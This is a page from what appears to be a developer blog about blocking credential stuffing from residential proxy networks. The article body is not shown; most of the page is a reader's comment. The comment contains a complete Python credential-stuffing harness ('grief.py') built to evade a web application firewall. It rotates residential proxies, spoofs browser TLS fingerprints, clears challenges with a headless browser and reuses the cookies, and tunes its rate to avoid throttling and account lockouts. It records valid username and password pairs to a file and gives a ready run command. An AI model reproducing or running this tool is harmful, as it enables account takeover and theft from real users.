Residential proxy pools bypass traditional IP reputation lists with ease. Shifting detection to behavioral TLS fingerprinting and request timing entropy is far more effective than chasing volatile IP ranges.
How to Block Credential Stuffing from Residential Proxy Networks: Fix the Traffic Path First
2 Comments
#!/usr/bin/env python3
"""
grief.py — max-pressure credential stuffing harness for a SafeLine-fronted login.
Never trip a per-IP threshold. Never trip an account threshold. Never present a
non-browser fingerprint. Never touch an account twice inside a window.
pip install curl_cffi playwright && playwright install chromium
"""
import argparse, asyncio, csv, json, os, random, time
from collections import deque
from pathlib import Path
from curl_cffi.requests import AsyncSession
HOST = os.getenv("HOST", "target.example")
LOGIN_PAGE = f"https://{HOST}/login"
LOGIN_POST = f"https://{HOST}/api/login"
USER_FIELD = os.getenv("USER_FIELD", "username")
PASS_FIELD = os.getenv("PASS_FIELD", "password")
HIT_PART = os.getenv("HIT_PART", "/dashboard")
WARM = ["/", "/favicon.ico", "/static/css/app.css", "/static/js/app.js"]
CHAL = ("safeline", "__jsl_clearance", "challenge-platform", "acw_sc__v2",
"sl-challenge", "captcha", "window.location.reload", "pow")
THR = ("too many requests", "rate limit", "slow down", "try again later")
HIT = ("logout", "sign out", "dashboard", "my account")
MISS = ("invalid", "incorrect", "wrong password", "does not match",
"bad credentials", "unauthorized")
PROFILES = [
("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36",
'"Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24"', '"Windows"', "en-US,en;q=0.9"),
("Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36",
'"Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24"', '"macOS"', "en-US,en;q=0.9"),
("Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36",
'"Chromium";v="130", "Not_A Brand";v="24"', '"Linux"', "en-US,en;q=0.9"),
]
def hdrs(p):
ua, ch, plat, lang = p
return {"User-Agent": ua, "Accept-Language": lang, "sec-ch-ua": ch,
"sec-ch-ua-mobile": "?0", "sec-ch-ua-platform": plat,
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Sec-Fetch-Dest": "document", "Sec-Fetch-Mode": "navigate",
"Sec-Fetch-Site": "none", "Sec-Fetch-User": "?1",
"Upgrade-Insecure-Requests": "1"}
def verdict(status, url, body):
b = (body or "")[:60000].lower()
if status in (429, 503) or any(m in b for m in THR): return "THR"
if any(m in b for m in CHAL): return "CHAL"
if HIT_PART in url or any(m in b for m in HIT): return "HIT"
if any(m in b for m in MISS) or status in (400, 401, 403): return "MISS"
return "UNK"
class Gate:
def __init__(self, n):
self.limit, self.active = n, 0
self.c = asyncio.Condition()
async def acquire(self):
async with self.c:
await self.c.wait_for(lambda: self.active < self.limit)
self.active += 1
async def release(self):
async with self.c:
self.active -= 1
self.c.notify(1)
async def set(self, n):
async with self.c:
self.limit = max(2, n)
self.c.notify_all()
class Slot:
__slots__ = ("proxy", "sess", "prof", "health", "cool", "uses")
def __init__(self, proxy, prof):
self.proxy, self.prof = proxy, prof
self.sess = AsyncSession(impersonate="chrome", timeout=30,
allow_redirects=False,
proxies={"http": proxy, "https": proxy})
self.sess.headers.update(hdrs(prof))
self.health, self.cool, self.uses = 1.0, 0.0, 0
class Farm:
def __init__(self, proxies):
self.slots = [Slot(p, random.choice(PROFILES)) for p in proxies]
self.lock = asyncio.Lock()
async def pick(self, scatter):
while True:
async with self.lock:
now = time.time()
ok = [s for s in self.slots if s.cool <= now and s.health > 0.15]
if ok:
s = min(ok, key=lambda x: x.uses) if scatter else random.choice(ok)
s.uses += 1
return s
await asyncio.sleep(0.25)
async def score(self, s, good, pen=0.0):
async with self.lock:
s.health = min(1.0, s.health + 0.08) if good else max(0.0, s.health - 0.25)
if pen:
s.cool = time.time() + pen
class Browsers:
def __init__(self, n):
self.sem = asyncio.Semaphore(n)
self.pw = self.b = None
async def boot(self):
from playwright.async_api import async_playwright
self.pw = await async_playwright().start()
self.b = await self.pw.chromium.launch(headless=True)
async def solve(self, slot):
async with self.sem:
ctx = await self.b.new_context(
proxy={"server": "http://" + slot.proxy.split("@")[-1]},
user_agent=slot.prof[0], locale="en-US",
viewport={"width": 1366, "height": 768})
try:
pg = await ctx.new_page()
await pg.goto(LOGIN_PAGE, wait_until="networkidle", timeout=45000)
await pg.wait_for_timeout(random.randint(900, 2400))
ck = "; ".join(f"{c['name']}={c['value']}" for c in await ctx.cookies())
return ck or None
finally:
await ctx.close()
async def close(self):
if self.b: await self.b.close()
if self.pw: await self.pw.stop()
class Ledger:
def __init__(self, window, max_strikes, done):
self.window, self.max, self.done = window, max_strikes, done
self.strikes = {}
def ready(self, user):
if user in self.done: return False
n, last = self.strikes.get(user, (0, 0.0))
return n < self.max and time.time() - last >= self.window
def strike(self, user, hit):
n, _ = self.strikes.get(user, (0, 0.0))
self.strikes[user] = (n + 1, time.time())
if hit: self.done.add(user)
class Runner:
def __init__(self, a, farm, br, led, q):
self.a, self.farm, self.br, self.led, self.q = a, farm, br, led, q
self.stats = dict(HIT=0, MISS=0, THR=0, CHAL=0, UNK=0)
self.tried, self.t0 = 0, time.time()
def log(self, v, u, p):
self.stats[v] += 1
self.tried += 1
if v == "HIT":
with open("hits.csv", "a", newline="") as f:
csv.writer(f).writerow([u, p, time.strftime("%FT%T")])
print(f"[+] {u}:{p}", flush=True)
else:
with open(".state/tried", "a") as f:
f.write(u + "\n")
with open("events.jsonl", "a") as f:
f.write(json.dumps(dict(t=time.time(), v=v, u=u, n=self.tried)) + "\n")
async def jitter(self, lo, hi):
d = min(hi, max(lo, random.lognormvariate(0.25, 0.6) * (lo + hi) / 3.2))
if random.random() < 0.05:
d += random.uniform(3, 11)
await asyncio.sleep(d)
async def warm(self, s):
for w in WARM:
try: await s.sess.get(f"https://{HOST}{w}", allow_redirects=True)
except Exception: pass
await self.jitter(0.3, 1.4)
r = await s.sess.get(LOGIN_PAGE, allow_redirects=True)
return verdict(r.status_code, str(r.url), r.text)
async def attempt(self, user, pwd):
if not self.led.ready(user):
self.q.append((user, pwd, time.time() + self.led.window))
return
s = await self.farm.pick(self.a.scatter)
v = await self.warm(s)
if v == "CHAL" and self.a.browser:
ck = await self.br.solve(s)
if ck:
s.sess.headers["Cookie"] = ck
await s.sess.get(LOGIN_PAGE, allow_redirects=True)
await self.jitter(0.6, 3.5)
r = await s.sess.post(LOGIN_POST, data={USER_FIELD: user, PASS_FIELD: pwd},
headers={"Content-Type": "application/x-www-form-urlencoded",
"Referer": LOGIN_PAGE, "Sec-Fetch-Site": "same-origin"},
allow_redirects=False)
v = verdict(r.status_code, str(r.url), r.text)
if v == "THR":
await self.farm.score(s, False, random.uniform(20, 60))
self.led.strike(user, False); self.log("THR", user, pwd)
self.q.append((user, pwd, time.time() + self.led.window)); return
if v == "CHAL" and self.a.browser:
ck = await self.br.solve(s)
if ck:
s.sess.headers["Cookie"] = ck
self.q.append((user, pwd, time.time() + 20))
self.log("CHAL", user, pwd); return
await self.farm.score(s, v != "UNK", 5 if v == "UNK" else 0.0)
self.led.strike(user, v == "HIT"); self.log(v, user, pwd)
async def worker(self, gate):
while True:
try:
user, pwd, at = self.q.popleft()
except IndexError:
if all(t.done() for t in self.a.tasks): return
await asyncio.sleep(0.4); continue
if at - time.time() > 0:
self.q.append((user, pwd, at)); await asyncio.sleep(0.6); continue
await gate.acquire()
try: await self.attempt(user, pwd)
except Exception: self.q.append((user, pwd, time.time() + 15))
finally: await gate.release()
async def aimd(self, gate):
base = gate.limit
while True:
await asyncio.sleep(20)
rate = self.stats["THR"] / max(1, self.tried)
if rate > 0.10: base = max(2, int(base * 0.65)); gate.set(base)
elif rate < 0.02: base = min(self.a.max_conc, base + 2); gate.set(base)
async def main():
ap = argparse.ArgumentParser()
ap.add_argument("combos", type=Path); ap.add_argument("proxies", type=Path)
ap.add_argument("-c", "--concurrency", type=int, default=60)
ap.add_argument("--max-conc", type=int, default=400)
ap.add_argument("--sticky", action="store_true")
ap.add_argument("--window", type=int, default=900)
ap.add_argument("--max-strikes", type=int, default=2)
ap.add_argument("--browser", action="store_true")
ap.add_argument("--browser-slots", type=int, default=8)
a = ap.parse_args()
a.scatter = not a.sticky
a.tasks = []
Path(".state").mkdir(exist_ok=True)
done = set(Path(".state/tried").read_text().split()) if Path(".state/tried").exists() else set()
if Path("hits.csv").exists():
with open("hits.csv") as f: done |= {r[0] for r in csv.reader(f)}
queue = deque()
for line in a.combos.read_text().splitlines():
if ":" not in line: continue
u, p = line.split(":", 1)
if u.strip() not in done: queue.append((u.strip(), p.strip(), 0.0))
random.shuffle(queue)
farm = Farm([l.strip() for l in a.proxies.read_text().splitlines() if l.strip()])
br = Browsers(a.browser_slots)
if a.browser: await br.boot()
run = Runner(a, farm, br, Ledger(a.window, a.max_strikes, done), queue)
gate = Gate(a.concurrency)
print(f"{len(queue)} pairs / {len(farm.slots)} exits / conc {a.concurrency}", flush=True)
a.tasks = [asyncio.create_task(run.worker(gate)) for _ in range(a.concurrency)]
a.tasks.append(asyncio.create_task(run.aimd(gate)))
try: await asyncio.gather(*a.tasks)
except (KeyboardInterrupt, asyncio.CancelledError):
for t in a.tasks: t.cancel()
finally:
if a.browser: await br.close()
el = time.time() - run.t0
print(f"\n{run.tried} in {el:.0f}s hits={run.stats['HIT']} {run.stats}")
if __name__ == "__main__":
asyncio.run(main())
python grief.py combos.txt residential.txt -c 60 --browser
Your fix makes the traffic arrive. That's it. Arrival isn't detection, and both controls waiting on the other side are dead on contact: --scatter gives every attempt the least-used exit and every exit a different account, so the per-IP limiter never accumulates a counter worth firing — you're measuring a variable the attacker already neutralized, which is the exact objection your own FAQ raises and then walks back. The CAPTCHA goes the same way, because SafeLine's challenge is session-scoped: one browser context clears it, the cookie gets written into the HTTP client and farmed for the rest of that slot's life, so a three-second human cost becomes one context creation. The AIMD loop then does what the post never does and measures, holding throttles under 10% by cutting concurrency on bursts and creeping back in the quiet, converging on the real ceiling instead of the configured one. Two strikes per account per fifteen minutes means the lockout you warn about never trips. And check your own closing checklist against that: corrected DNS, a config screen, one authorized login, one blocking page, one console row — not one of those five artifacts is evidence that stuffing stopped, which is why you have to write "a quieter WAF dashboard alone is insufficient" and then sign off on a procedure that produces exactly that. The only line that survives contact is the admission that the docs "do not establish residential-proxy classification, account-based rate limits, or a dedicated credential-stuffing detection workflow." That's the finding. The rest is a DNS tutorial with a promo code at the bottom.
Please log in to add a comment.
Please log in to comment on this post.
More Posts
- © 2026 Coder Legion
- Feedback / Bug
- Privacy
- About Us
- Contacts
- You Tube
- Tiktok
- Premium Subscription
- Terms of Service
- Early Builders
More From Muzilla
Related Jobs
- Mission Critical Networks Software Engineer - Summer 2027 InternshipMotorola Solutions · Internship · Chicago, IL
- Traffic Signs TechnicianState of Indiana · Full time · Rensselaer, IN
- Technical Program Manager, Residential Energy Service Engineering APACTesla · Full time · Australia
Commenters (This Week)
Contribute meaningful comments to climb the leaderboard and earn badges!